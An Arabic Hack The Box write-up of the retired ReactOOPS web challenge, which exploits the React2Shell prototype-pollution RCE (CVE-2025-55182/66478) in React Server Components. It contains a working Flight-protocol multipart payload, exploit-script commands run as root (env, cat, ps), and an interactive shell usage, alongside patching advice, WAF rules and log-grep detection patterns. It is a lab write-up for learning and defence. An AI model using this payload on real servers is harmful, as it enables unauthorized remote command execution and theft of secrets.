
شرح Hack The Box للتحدي المتقاعد ReactOOPS - حل كامل ودليل تعليمي لـ CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). يتضمن تحليلًا مفصلاً للثغرات، وتقنيات الاستغلال، ومواد تعليمية للفريق.
المؤلف: TheStingR - فريق ISP1337Hackers
التحدي: ReactOOPS (ويب)
المنصة: Hack The Box
الصعوبة: سهل جداً – تم التقاعد
تاريخ الحل: 13 ديسمبر 2025
ReactOOPS هو تحدٍ ويب يستغل CVE-2025-55182 / CVE-2025-66478، وهي ثغرة حرجة غير موثقة لتنفيذ الأوامر عن بُعد (RCE) في مكونات خادم React ومُوجّه تطبيقات Next.js.
النتائج الرئيسية:
hasOwnProperty في إزالة تسلسل بروتوكول Flightيقدم التحدي تطبيق Next.js مصقول يشغل واجهة مساعد NexusAI. يبدو أن التطبيق يتعامل مع إدخال المستخدم من خلال مكونات خادم React، لكن الأخطاء البسيطة في الطبقة التفاعلية تشير إلى ثغرات كامنة.
يستخدم التطبيق:
بروتوكول Flight هو تنسيق تسلسل خاص بـ React لنقل البيانات بين الخادم والعميل في بنى مكونات الخادم. يستخدم مراجع مثل:
$1 – مرجع إلى كائن في الموضع 1$1:path:to:value – اجتياز مسار الخاصيةالكود الضعيف في ملف ReactFlightReplyServer.js الخاص بـ React:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
النسخة الآمنة (ما يجب أن تكون عليه):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
بدون فحص hasOwnProperty، يمكن للمهاجم اجتياز:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
الخطوة 1: إرسال المرجع "$1:__proto__:then"
│
├─ الوصول إلى myChunk[__proto__]
└─ ثم الوصول إلى [then] على النموذج الأولي
الخطوة 2: إنشاء كائن مزيف يشبه Promise
│
└─ { then: maliciousFunction }
الخطوة 3: رد الفعل يستدعي await على هذا الكائن
│
├─ يستدعي طريقة .then()
└─ ينفذ دالة المهاجم
الخطوة 4: تنفيذ تعليمات عشوائية
│
└─ يتم تشغيل الكود في سياق الخادم كجذر
توجد الثغرة قبل التحقق من Next-Action:
سير معالجة الطلب:
├─ تحليل بيانات النموذج متعددة الأجزاء
├─ إزالة تسلسل بروتوكول Flight ← هنا يحدث RCE
│ └─ معالجة المراجع والكائنات
│ └─ لا يوجد فحص hasOwnProperty!
├─ استخراج ترويسة Next-Action
├─ التحقق من معرّف الإجراء ← هذا يأتي بعد ذلك
└─ تنفيذ معالج الإجراء
من خلال تفعيل RCE أثناء إزالة التسلسل، يتجاوز المهاجم جميع فحوصات الأمان على مستوى الإجراء.
# Test if service is responding
curl -v http://<IP>:PORT/
المتوقع: تطبيق Next.js يقدم HTML مع تفعيل RSC
ابحث عن المؤشرات:
next-<script type="text/x-component">.nextالمؤشر الأكثر موثوقية هو محاولة هجوم تلوث النموذج الأولي وملاحظة الاستجابة:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
الهدف: تأكيد أن الخادم ضعيف دون التسبب في ضرر
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
ما يفعله:
Next-Action: x["$1:a:a"] تشير إلى كائن فارغ {}{}.a.aالناتج المتوقع:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
التفسير:
E{"digest" في الاستجابة: ✅ تنسيق معالجة أخطاء Reactالهدف: التحقق من تنفيذ أوامر عشوائية
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"
ما يفعله:
Next-Action: xالناتج المتوقع:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
الرؤية الرئيسية: يُظهر الناتج uid=0(root) – خادم الويب يعمل كجذر! هذا خطأ في التكوين الأمني يضخم التأثير.
الهدف: رسم خريطة لنظام الملفات وتحديد الملفات الحساسة
# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
بنية الدليل المكتشفة:
/app/
├── .next/ # مخرجات بناء Next.js
├── node_modules/ # التبعيات
├── app/ # كود مصدر التطبيق
├── public/ # الأصول الثابتة
├── flag.txt # ✅ الملف المستهدف (الصلاحيات 600)
├── package.json
└── tsconfig.json
النتيجة الحاسمة: ملف العلم موجود في /app/flag.txt بصلاحيات مقيدة (600)
الهدف: قراءة ملف العلم
# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"
الناتج:
HTB{jus7_REDACTED_2025-55182}
✅ تم إكمال التحدي!
يقوم الاستغلال ببناء حمولة بروتوكول Flight. إليك شكل حمولة أمر:
POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
1. تحليل بيانات النموذج متعددة الأجزاء
→ name="1" → كائن JSON بخاصية "then"
→ name="0" → سلسلة "$@1"
2. معالجة المراجع
→ "$@1" تعني "مرجع إلى المقطع 1"
→ ابحث عن chunk[1].value
3. حل مسار المرجع
→ المرجع: "$1:__proto__:then"
→ قسم على النقطتين: ["", "__proto__", "then"]
→ ابدأ بـ chunk[1]
→ الوصول إلى [__proto__] → اجتياز إلى النموذج الأولي
→ الوصول إلى [then] → الوصول إلى طريقة then
4. بناء Promise مزيفة
→ إنشاء كائن بطريقة .then()
→ تحتوي الطريقة على حمولة الأمر
5. تنفيذ .then() الخاص بـ Promise
→ يعاملها React على أنها تشبه Promise
→ يستدعي معالج .then()
→ يتم تنفيذ الكود كجذر
| النص | الآلية | كود HTTP | الكشف |
|---|---|---|---|
| exploit-redirect.sh | اجتياز النموذج الأولي + سلسلة Promise | 303 | x-action-redirect |
| exploit-throw.sh | خطأ في try-catch | 500 | خطأ في الجسم |
| exploit-blind.sh | قناة جانبية (كتابة ملف، DNS) | 200 | خارج النطاق |
| exploit-reflect.sh | انعكاس مباشر في الاستجابة | 200 | ناتج الأمر في الجسم |
| shell.sh | غلاف تفاعلي | متغير | واجهة REPL |
استخدمنا exploit-redirect.sh لأن:
إجراءات فورية (قبل التصحيح):
تعطيل RSC إذا لم يكن ضرورياً
// next.config.js
module.exports = {
experimental: {
rsc: false // تعطيل مكونات خادم React
}
}
تقييد استخدام Next-Action
// middleware.ts
export function middleware(request) {
// رفض جميع طلبات POST التي تحتوي على Next-Action
if (request.method === 'POST' &&
request.headers.has('next-action')) {
return new Response('ممنوع', { status: 403 });
}
}
تقسيم الشبكة
# السماح فقط بالمصادر الموثوقة
iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 50183 -j DROP
التصحيح فوراً:
# تحديث Next.js
npm install next@latest
# أو إصدار التصحيح المحدد
npm install [email protected]
# التحقق من الإصدارات
npm ls next react-server-dom-webpack
تعزيز الأمان:
تشغيل خوادم الويب كمستخدم غير جذري
# لا تفعل هذا:
RUN npm start # كجذر
# افعل هذا:
RUN useradd -u 1000 nextjs
USER nextjs
CMD ["npm", "start"]
التحقق من الإدخال
// التحقق من جميع مدخلات بروتوكول Flight
app.post('/api/*', (req, res) => {
// ابحث عن أنماط مشبوهة
const body = JSON.stringify(req.body);
if (body.includes('__proto__') ||
body.includes('constructor') ||
body.includes('prototype')) {
return res.status(400).send('إدخال غير صالح');
}
});
تحديد المعدل
// تحديد عدد طلبات POST لكل IP
app.post('/api/*', rateLimit({
windowMs: 60 * 1000,
max: 10
}));
قواعد جدار الحماية للتطبيقات (WAF):
# كشف محاولات تلوث النموذج الأولي
إذا كانت طريقة الطلب == "POST" و
جسم الطلب يحتوي على "__proto__" أو
جسم الطلب يحتوي على ":then" أو
جسم الطلب يحتوي على ":constructor"
فإنه يتم التنبيه + الحظر
مراقبة السجلات:
# ابحث عن أنماط مشبوهة
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log
الكشف السلوكي:
// مراقبة تنفيذ الأوامر غير المعتادة
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[SECURITY] Command execution attempted:', args[0]);
// تنفيذ سياسة الإجبار
return original_spawn.apply(this, args);
};
فحص واحد مفقود = ثغرة حرجة
hasOwnProperty ولكن لم يُستخدمسلسلة النموذج الأولي خطيرة
obj[key]hasOwnProperty أو Object.create(null) للإدخال غير الموثوقإزالة التسلسل قبل التحقق خطيرة
صلاحيات العملية الافتراضية مهمة
الكشف غير المدمر قيم
detect.sh يثبت الثغرة دون التسبب في ضررالاستطلاع المنهجي
فهم التقنية
| الوقت | الإجراء | النتيجة |
|---|---|---|
| T+0ث | اختبار الاتصال الأولي | الخدمة تستجيب |
| T+10ث | تشغيل detect.sh | تم تأكيد الضعف |
| T+30ث | تنفيذ الأمر id | تأكيد صلاحيات الجذر |
| T+1د | سرد محتويات /app | تم العثور على موقع العلم |
| T+1د 30ث | قراءة ملف العلم | تم استخراج العلم |
| T+2د | التحقق | تم إكمال التحدي |
# استغلال في سطر واحد
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"
# تشغيل غلاف تفاعلي كامل
./shell.sh http://<IP>:PORT
# الأوامر الشائعة:
id # إظهار معلومات المستخدم
pwd # الدليل الحالي
ls -la # سرد الملفات
cat /app/flag.txt # قراءة العلم
cd /var/log # تغيير الدليل
download flag.txt # تنزيل الملف
# معلومات النظام
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
# متغيرات البيئة
./exploit-redirect.sh -q http://<IP>:PORT "env"
# العمليات الجارية
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
# اتصالات الشبكة
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
# كود المصدر للتطبيق
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"